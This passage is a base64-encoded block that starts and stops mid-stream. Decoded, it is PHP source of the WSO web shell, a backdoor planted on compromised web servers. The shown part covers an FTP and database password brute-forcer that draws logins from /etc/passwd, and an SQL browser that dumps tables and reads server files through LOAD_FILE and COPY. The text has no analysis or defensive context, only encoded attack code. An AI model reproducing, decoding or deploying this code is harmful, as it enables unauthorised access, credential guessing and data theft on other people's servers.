ICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07IA0KICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7IA0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7IA0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsgDQogICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIGVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOyANCiAgICB9IA0KICAgIGVjaG8gJzxoMT5GVFAgYnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+Jw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPicNCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicNCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicNCiAgICAgICAgLic8c3Bhbj5TZXJ2ZXI6cG9ydDwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L2xhYmVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjx0YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgICAuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOyANCiAgICBlY2hvICc8L2Rpdj48YnI+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25TcWwoKSB7IA0KICAgIGNsYXNzIERiQ2xhc3MgeyANCiAgICAgICAgdmFyICR0eXBlOyANCiAgICAgICAgdmFyICRsaW5rOyANCiAgICAgICAgdmFyICRyZXM7IA0KICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSB7IA0KICAgICAgICAgICAgJHRoaXMtPnR5cGUgPSAkdHlwZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgICRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsgDQogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgeyANCiAgICAgICAgICAgICRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gbGlzdERicygpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBsaXN0VGFibGVzKCkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gZXJyb3IoKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2Vycm9yKCk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKSANCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOyANCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdzbzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gd3NvMjsiKTsgDQogICAgICAgICAgICAgICAgICAgICRyPWFycmF5KCk7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAkcltdID0gJGlbJ2ZpbGUnXTsgDQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJuIiwkcikpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsgDQogICAgICAgICAgICAgICAgICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsgDQogICAgICAgICAgICAgICAgICAgICRzcWwgPSAkY3JlYXRlWzFdLiI7biI7IA0KICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7IA0KICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09IG51bGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19udW1lcmljKCR2KSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2OyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgbnQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICJudCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtubiIpOyBlbHNlIGVjaG8oIjtubiIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIm4iOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgfTsgDQogICAgJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOyANCiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7IA0KICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsgDQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsgDQogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsgDQogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOyANCiAgICAgICAgfSANCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7IA0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOyANCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsgDQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyANCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2KTsgDQogICAgICAgICAgICBleGl0OyANCiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7IA0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSANCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7IA0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgdW5zZXQoJF9QT1NUWydwMiddKTsgDQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsgDQogICAgfSANCiAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAiIA0KICANCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiANCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4gDQo8dGQ+VHlwZTwvdGQ+PHRkPkhvc3Q8L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlBhc3N3b3JkPC90ZD48dGQ+RGF0YWJhc2U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+IA0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7IA0KICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7IA0KZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7IA0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsgDQplY2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+IA0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4gDQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4gDQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iJz48L3RkPjx0ZD4iOyANCiAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsgDQogICAgICAgIGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgeyANCiAgICAgICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7IA0KICAgICAgICAgICAgZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsgDQogICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNl